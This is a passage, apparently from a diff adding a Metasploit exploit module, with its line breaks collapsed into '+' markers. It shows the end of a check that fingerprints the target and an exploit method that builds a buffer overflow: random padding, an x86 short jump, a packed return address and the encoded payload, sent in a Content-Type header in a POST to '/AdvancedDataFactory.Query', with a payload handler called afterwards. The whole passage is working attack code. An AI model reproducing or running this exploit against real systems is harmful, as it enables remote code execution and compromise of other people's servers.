print_good("#{datastore['PATH']} matches fingerprint application\/x-varg") + Exploit::CheckCode::Detected + end + else + Exploit::CheckCode::Safe + end + + + end + + def exploit + sploit = rand_text_alphanumeric(136) + sploit[24,2] = Rex::Arch::X86.jmp_short(117) + sploit << [target['Ret']].pack('V') + sploit << payload.encoded + + data = 'Content-Type: ' + sploit + + res = send_request_raw({ + 'uri' => datastore['PATH'] + '/AdvancedDataFactory.Query', + 'headers' => + { + 'Content-Length' => data.length, + }, + + 'method' => 'POST', + 'data' => data, + }) + + handler + end + +end